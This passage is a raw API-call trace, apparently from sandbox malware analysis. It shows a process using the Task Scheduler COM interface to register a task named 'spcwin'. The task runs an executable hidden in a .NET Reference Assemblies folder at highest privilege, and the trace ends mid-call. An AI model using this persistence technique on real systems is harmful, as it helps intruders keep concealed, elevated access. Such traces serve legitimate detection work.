returned 0x250000 [0130.076] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x1fc) returned 0x26c3a0 [0130.076] _memicmp (_Buf1=0x26bb20, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.076] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x26d310, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0130.076] lstrlenW (lpString="First") returned 5 [0130.076] _memicmp (_Buf1=0x26bb20, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.076] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x26d310, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0130.076] lstrlenW (lpString="Second") returned 6 [0130.076] _memicmp (_Buf1=0x26bb20, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.076] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x26d310, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0130.076] lstrlenW (lpString="Third") returned 5 [0130.076] _memicmp (_Buf1=0x26bb20, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.076] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x26d310, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0130.076] lstrlenW (lpString="Fourth") returned 6 [0130.076] _memicmp (_Buf1=0x26bb20, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.076] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x26d310, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0130.076] lstrlenW (lpString="Last") returned 4 [0130.076] _memicmp (_Buf1=0x26bb20, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.076] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x26d310, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0130.076] lstrlenW (lpString="First") returned 5 [0130.076] _memicmp (_Buf1=0x26bb20, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.076] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x26d310, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0130.076] lstrlenW (lpString="Second") returned 6 [0130.077] _memicmp (_Buf1=0x26bb20, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.077] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x26d310, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0130.077] lstrlenW (lpString="Third") returned 5 [0130.077] GetProcessHeap () returned 0x250000 [0130.077] GetProcessHeap () returned 0x250000 [0130.077] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26d6f0) returned 1 [0130.077] GetProcessHeap () returned 0x250000 [0130.077] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26d6f0) returned 0xa [0130.077] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26d6f0 | out: hHeap=0x250000) returned 1 [0130.077] GetProcessHeap () returned 0x250000 [0130.077] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0xc) returned 0x26d6f0 [0130.077] _memicmp (_Buf1=0x26bb20, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.077] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x26d310, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0130.077] lstrlenW (lpString="Fourth") returned 6 [0130.077] _memicmp (_Buf1=0x26bb20, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.077] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x26d310, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0130.077] lstrlenW (lpString="Last") returned 4 [0130.077] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x1dc120, cchData=128 | out: lpLCData="0") returned 2 [0130.077] _memicmp (_Buf1=0x26bb20, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.077] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x26d310, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0130.077] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0130.077] GetProcessHeap () returned 0x250000 [0130.078] GetProcessHeap () returned 0x250000 [0130.078] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26d610) returned 1 [0130.078] GetProcessHeap () returned 0x250000 [0130.078] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26d610) returned 0x10 [0130.078] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26d610 | out: hHeap=0x250000) returned 1 [0130.078] GetProcessHeap () returned 0x250000 [0130.078] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x16) returned 0x26d610 [0130.078] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x1dc140, cchData=128 | out: lpLCData="0") returned 2 [0130.078] _memicmp (_Buf1=0x26bb20, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.078] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x26d310, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0130.078] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0130.078] GetProcessHeap () returned 0x250000 [0130.078] GetProcessHeap () returned 0x250000 [0130.078] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26d630) returned 1 [0130.078] GetProcessHeap () returned 0x250000 [0130.078] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26d630) returned 0x10 [0130.078] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26d630 | out: hHeap=0x250000) returned 1 [0130.078] GetProcessHeap () returned 0x250000 [0130.078] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x16) returned 0x26d630 [0130.078] GetLocalTime (in: lpSystemTime=0x1dc370 | out: lpSystemTime=0x1dc370*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x12, wSecond=0x35, wMilliseconds=0x3e0)) [0130.078] GetLocalTime (in: lpSystemTime=0x1dcc28 | out: lpSystemTime=0x1dcc28*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x12, wSecond=0x35, wMilliseconds=0x3e0)) [0130.078] lstrlenW (lpString="") returned 0 [0130.079] lstrlenW (lpString="") returned 0 [0130.079] lstrlenW (lpString="") returned 0 [0130.079] lstrlenW (lpString="") returned 0 [0130.079] lstrlenW (lpString="") returned 0 [0130.079] lstrlenW (lpString="") returned 0 [0130.079] lstrlenW (lpString="") returned 0 [0130.079] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0130.106] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0130.238] CoCreateInstance (in: rclsid=0xff121ae0*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0xff121ad0*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0x1dc9f0 | out: ppv=0x1dc9f0*=0x527b80) returned 0x0 [0130.246] TaskScheduler:ITaskService:Connect (This=0x527b80, serverName=0x1dcad0*(varType=0x8, wReserved1=0x1d, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0x1dca90*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x32524553524150), domain=0x1dcab0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x1dca70*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xc0, varVal2=0x100000001)) returned 0x0 [0130.274] TaskScheduler:IUnknown:AddRef (This=0x527b80) returned 0x2 [0130.274] TaskScheduler:ITaskService:GetFolder (in: This=0x527b80, Path=0x0, ppFolder=0x1dcb88 | out: ppFolder=0x1dcb88*=0x527db0) returned 0x0 [0130.280] TaskScheduler:ITaskService:NewTask (in: This=0x527b80, flags=0x0, ppDefinition=0x1dcb80 | out: ppDefinition=0x1dcb80*=0x527e00) returned 0x0 [0130.280] ITaskDefinition:get_Actions (in: This=0x527e00, ppActions=0x1dcb00 | out: ppActions=0x1dcb00*=0x527ec0) returned 0x0 [0130.280] IActionCollection:Create (in: This=0x527ec0, Type=0, ppAction=0x1dcb20 | out: ppAction=0x1dcb20*=0x526750) returned 0x0 [0130.280] lstrlenW (lpString="'C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\spcwin.exe'") returned 86 [0130.280] lstrlenW (lpString="'C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\spcwin.exe'") returned 86 [0130.280] lstrlenW (lpString=" ") returned 1 [0130.280] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0130.280] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0130.281] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0130.281] StrChrW (lpStart=" ", wMatch=0x3a) returned 0x0 [0130.281] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0130.281] StrChrW (lpStart=" ", wMatch=0x50) returned 0x0 [0130.281] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0130.281] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0130.281] StrChrW (lpStart=" ", wMatch=0x67) returned 0x0 [0130.281] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0130.281] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0130.281] StrChrW (lpStart=" ", wMatch=0x6d) returned 0x0 [0130.281] StrChrW (lpStart=" ", wMatch=0x20) returned=" " [0130.281] StrChrW (lpStart=" ", wMatch=0x46) returned 0x0 [0130.281] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0130.281] StrChrW (lpStart=" ", wMatch=0x6c) returned 0x0 [0130.281] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0130.281] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0130.281] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0130.281] StrChrW (lpStart=" ", wMatch=0x52) returned 0x0 [0130.281] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0130.281] StrChrW (lpStart=" ", wMatch=0x66) returned 0x0 [0130.281] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0130.281] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0130.281] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0130.281] StrChrW (lpStart=" ", wMatch=0x6e) returned 0x0 [0130.281] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0130.281] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0130.281] StrChrW (lpStart=" ", wMatch=0x20) returned=" " [0130.281] StrChrW (lpStart=" ", wMatch=0x41) returned 0x0 [0130.281] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0130.281] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0130.281] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0130.281] StrChrW (lpStart=" ", wMatch=0x6d) returned 0x0 [0130.281] StrChrW (lpStart=" ", wMatch=0x62) returned 0x0 [0130.281] StrChrW (lpStart=" ", wMatch=0x6c) returned 0x0 [0130.281] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0130.281] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0130.282] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0130.282] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0130.282] StrChrW (lpStart=" ", wMatch=0x4d) returned 0x0 [0130.282] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0130.282] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0130.282] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0130.282] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0130.282] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0130.282] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0130.282] StrChrW (lpStart=" ", wMatch=0x66) returned 0x0 [0130.282] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0130.282] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0130.282] StrChrW (lpStart=" ", wMatch=0x46) returned 0x0 [0130.282] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0130.282] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0130.282] StrChrW (lpStart=" ", wMatch=0x6d) returned 0x0 [0130.282] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0130.282] StrChrW (lpStart=" ", wMatch=0x77) returned 0x0 [0130.282] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0130.282] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0130.282] StrChrW (lpStart=" ", wMatch=0x6b) returned 0x0 [0130.282] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0130.282] StrChrW (lpStart=" ", wMatch=0x76) returned 0x0 [0130.282] StrChrW (lpStart=" ", wMatch=0x33) returned 0x0 [0130.282] StrChrW (lpStart=" ", wMatch=0x2e) returned 0x0 [0130.282] StrChrW (lpStart=" ", wMatch=0x30) returned 0x0 [0130.282] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0130.282] StrChrW (lpStart=" ", wMatch=0x52) returned 0x0 [0130.282] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0130.282] StrChrW (lpStart=" ", wMatch=0x64) returned 0x0 [0130.282] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0130.282] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0130.282] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0130.282] StrChrW (lpStart=" ", wMatch=0x4c) returned 0x0 [0130.282] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0130.282] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0130.283] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0130.283] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0130.283] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0130.283] StrChrW (lpStart=" ", wMatch=0x70) returned 0x0 [0130.283] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0130.283] StrChrW (lpStart=" ", wMatch=0x77) returned 0x0 [0130.283] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0130.283] StrChrW (lpStart=" ", wMatch=0x6e) returned 0x0 [0130.283] StrChrW (lpStart=" ", wMatch=0x2e) returned 0x0 [0130.283] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0130.283] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0130.283] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0130.283] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0130.283] IUnknown:Release (This=0x526750) returned 0x1 [0130.283] IUnknown:Release (This=0x527ec0) returned 0x1 [0130.283] ITaskDefinition:get_Triggers (in: This=0x527e00, ppTriggers=0x1dc680 | out: ppTriggers=0x1dc680*=0x527f40) returned 0x0 [0130.283] ITriggerCollection:Create (in: This=0x527f40, Type=9, ppTrigger=0x1dc678 | out: ppTrigger=0x1dc678*=0x5267c0) returned 0x0 [0130.284] IUnknown:QueryInterface (in: This=0x5267c0, riid=0xff121c48*(Data1=0x72dade38, Data2=0xfae4, Data3=0x4b3e, Data4=([0]=0xba, [1]=0xf4, [2]=0x5d, [3]=0x0, [4]=0x9a, [5]=0xf0, [6]=0x2b, [7]=0x1c)), ppvObject=0x1dc670 | out: ppvObject=0x1dc670*=0x5267c0) returned 0x0 [0130.284] IUnknown:Release (This=0x5267c0) returned 0x2 [0130.284] _vsnwprintf (in: _Buffer=0x1dc5c0, _BufferCount=0x1f, _Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0x1dc598 | out: _Buffer="2022-08-06T02:18:00") returned 19 [0130.284] ITrigger:put_StartBoundary (This=0x5267c0, StartBoundary="2022-08-06T02:18:00") returned 0x0 [0130.284] lstrlenW (lpString="") returned 0 [0130.284] lstrlenW (lpString="") returned 0 [0130.284] lstrlenW (lpString="") returned 0 [0130.284] lstrlenW (lpString="") returned 0 [0130.284] IUnknown:Release (This=0x5267c0) returned 0x1 [0130.284] IUnknown:Release (This=0x527f40) returned 0x1 [0130.284] ITaskDefinition:get_Settings (in: This=0x527e00, ppSettings=0x1dcb20 | out: ppSettings=0x1dcb20*=0x526530) returned 0x0 [0130.284] lstrlenW (lpString="") returned 0 [0130.284] IUnknown:Release (This=0x526530) returned 0x1 [0130.285] GetLocalTime (in: lpSystemTime=0x1dc9d8 | out: lpSystemTime=0x1dc9d8*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x12, wSecond=0x36, wMilliseconds=0xd2)) [0130.285] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefe7b0000 [0130.285] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetUserNameW") returned 0x7fefe7c1fd0 [0130.285] GetUserNameW (in: lpBuffer=0x1dca00, pcbBuffer=0x1dc9e8 | out: lpBuffer="kEecfMwgj", pcbBuffer=0x1dc9e8) returned 1 [0130.285] ITaskDefinition:get_RegistrationInfo (in: This=0x527e00, ppRegistrationInfo=0x1dc9d0 | out: ppRegistrationInfo=0x1dc9d0*=0x526470) returned 0x0 [0130.285] IRegistrationInfo:put_Author (This=0x526470, Author="") returned 0x0 [0130.286] _vsnwprintf (in: _Buffer=0x1dca00, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0x1dc998 | out: _Buffer="2022-08-06T02:18:54") returned 19 [0130.286] IRegistrationInfo:put_Date (This=0x526470, Date="") returned 0x0 [0130.286] IUnknown:Release (This=0x526470) returned 0x1 [0130.286] malloc (_Size=0x18) returned 0x527d40 [0130.286] free (_Block=0x527d40) [0130.286] lstrlenW (lpString="") returned 0 [0130.286] ITaskDefinition:get_Principal (in: This=0x527e00, ppPrincipal=0x1dcbf0 | out: ppPrincipal=0x1dcbf0*=0x5266a0) returned 0x0 [0130.286] IPrincipal:put_RunLevel (This=0x5266a0, RunLevel=1) returned 0x0 [0130.286] IUnknown:Release (This=0x5266a0) returned 0x1 [0130.286] malloc (_Size=0x18) returned 0x527d40 [0130.286] ITaskFolder:RegisterTaskDefinition (in: This=0x527db0, Path="spcwin", pDefinition=0x527e00, flags=6, UserId=0x1dcc70*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x1dccb0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1deb80, varVal2=0xfe), LogonType=3, sddl=0x1dcc90*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0x1dcb90 | out: ppTask=0x1dcb90*=0x526a10) returned 0x0 [0130.747] free (_Block=0x527d40) [0130.747] _memicmp (_Buf1=0x26bb20, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.747] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0x26d310, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40 [0130.747] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0130.747] GetProcessHeap () returned 0x250000 [0130.747] GetProcessHeap () returned 0x250000 [0130.747] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26d650) returned 1 [0130.747] GetProcessHeap () returned 0x250000 [0130.747] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26d650) returned 0xe [0130.747] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26d650 | out: hHeap=0x250000) returned 1 [0130.747] GetProcessHeap () returned 0x250000 [0130.747] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x82) returned 0x289d20 [0130.747] _vsnwprintf (in: _Buffer=0x1dd2d0, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0x1dcb38 | out: _Buffer="SUCCESS: The scheduled task \"spcwin\" has successfully been created.\n") returned 68 [0130.748] _fileno (_File=0x7fefed02ab0) returned -2 [0130.748] _errno () returned 0x524bb0 [0130.748] _get_osfhandle (_FileHandle=-2) returned 0xffffffffffffffff [0130.748] SetLastError (dwErrCode=0x6) [0130.748] lstrlenW (lpString="SUCCESS: The scheduled task \"spcwin\" has successfully been created.\n") returned 68 [0130.748] GetConsoleOutputCP () returned 0x0 [0130.748] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"spcwin\" has successfully been created.\n", cchWideChar=68, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 68 [0130.748] GetConsoleOutputCP () returned 0x0 [0130.748] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"spcwin\" has successfully been created.\n", cchWideChar=68, lpMultiByteStr=0xff161880, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SUCCESS: The scheduled task \"spcwin\" has successfully been created.\n", lpUsedDefaultChar=0x0) returned 68 [0130.748] fprintf (in: _File=0x7fefed02ab0, _Format="%s" | out: _File=0x7fefed02ab0) returned 68 [0130.748] fflush (in: _File=0x7fefed02ab0 | out: _File=0x7fefed02ab0) returned -1 [0130.749] IUnknown:Release (This=0x526a10) returned 0x0 [0130.749] TaskScheduler:IUnknown:Release (This=0x527e00) returned 0x0 [0130.749] TaskScheduler:IUnknown:Release (This=0x527db0) returned 0x0 [0130.749] TaskScheduler:IUnknown:Release (This=0x527b80) returned 0x1 [0130.749] lstrlenW (lpString="") returned 0 [0130.749] GetProcessHeap () returned 0x250000 [0130.749] GetProcessHeap () returned 0x250000 [0130.749] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26c3a0) returned 1 [0130.749] GetProcessHeap () returned 0x250000 [0130.749] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26c3a0) returned 0x1fc [0130.749] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26c3a0 | out: hHeap=0x250000) returned 1 [0130.750] GetProcessHeap () returned 0x250000 [0130.750] GetProcessHeap () returned 0x250000 [0130.750] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26d570) returned 1 [0130.750] GetProcessHeap () returned 0x250000 [0130.750] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26d570) returned 0x16 [0130.750] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26d570 | out: hHeap=0x250000) returned 1 [0130.750] GetProcessHeap () returned 0x250000 [0130.750] GetProcessHeap () returned 0x250000 [0130.750] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26d5f0) returned 1 [0130.750] GetProcessHeap () returned 0x250000 [0130.750] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26d5f0) returned 0x18 [0130.750] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26d5f0 | out: hHeap=0x250000) returned 1 [0130.750] GetProcessHeap () returned 0x250000 [0130.750] GetProcessHeap () returned 0x250000 [0130.750] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26cde0) returned 1 [0130.750] GetProcessHeap () returned 0x250000 [0130.750] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26cde0) returned 0x20 [0130.750] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26cde0 | out: hHeap=0x250000) returned 1 [0130.751] GetProcessHeap () returned 0x250000 [0130.751] GetProcessHeap () returned 0x250000 [0130.751] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26c080) returned 1 [0130.751] GetProcessHeap () returned 0x250000 [0130.751] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26c080) returned 0xa0 [0130.751] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26c080 | out: hHeap=0x250000) returned 1 [0130.751] GetProcessHeap () returned 0x250000 [0130.751] GetProcessHeap () returned 0x250000 [0130.751] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26bb00) returned 1 [0130.751] GetProcessHeap () returned 0x250000 [0130.751] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26bb00) returned 0x18 [0130.751] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26bb00 | out: hHeap=0x250000) returned 1 [0130.751] GetProcessHeap () returned 0x250000 [0130.751] GetProcessHeap () returned 0x250000 [0130.751] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26cba0) returned 1 [0130.751] GetProcessHeap () returned 0x250000 [0130.752] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26cba0) returned 0x20 [0130.752] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26cba0 | out: hHeap=0x250000) returned 1 [0130.752] GetProcessHeap () returned 0x250000 [0130.752] GetProcessHeap () returned 0x250000 [0130.752] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26c2e0) returned 1 [0130.752] GetProcessHeap () returned 0x250000 [0130.752] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26c2e0) returned 0xae [0130.752] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26c2e0 | out: hHeap=0x250000) returned 1 [0130.752] GetProcessHeap () returned 0x250000 [0130.752] GetProcessHeap () returned 0x250000 [0130.752] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26d550) returned 1 [0130.753] GetProcessHeap () returned 0x250000 [0130.753] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26d550) returned 0x18 [0130.753] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26d550 | out: hHeap=0x250000) returned 1 [0130.753] GetProcessHeap () returned 0x250000 [0130.753] GetProcessHeap () returned 0x250000 [0130.753] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26cb70) returned 1 [0130.753] GetProcessHeap () returned 0x250000 [0130.753] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26cb70) returned 0x20 [0130.753] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26cb70 | out: hHeap=0x250000) returned 1 [0130.753] GetProcessHeap () returned 0x250000 [0130.753] GetProcessHeap () returned 0x250000 [0130.753] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26dd60) returned 1 [0130.753] GetProcessHeap () returned 0x250000 [0130.753] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26dd60) returned 0xb0 [0130.754] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26dd60 | out: hHeap=0x250000) returned 1 [0130.754] GetProcessHeap () returned 0x250000 [0130.754] GetProcessHeap () returned 0x250000 [0130.754] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26d5d0) returned 1 [0130.754] GetProcessHeap () returned 0x250000 [0130.754] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26d5d0) returned 0x18 [0130.754] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26d5d0 | out: hHeap=0x250000) returned 1 [0130.754] GetProcessHeap () returned 0x250000 [0130.754] GetProcessHeap () returned 0x250000 [0130.754] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26cb40) returned 1 [0130.754] GetProcessHeap () returned 0x250000 [0130.754] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26cb40) returned 0x20 [0130.754] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26cb40 | out: hHeap=0x250000) returned 1 [0130.754] GetProcessHeap () returned 0x250000 [0130.755] GetProcessHeap () returned 0x250000 [0130.755] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26d5b0) returned 1 [0130.755] GetProcessHeap () returned 0x250000 [0130.755] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26d5b0) returned 0xe [0130.755] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26d5b0 | out: hHeap=0x250000) returned 1 [0130.755] GetProcessHeap () returned 0x250000 [0130.755] GetProcessHeap 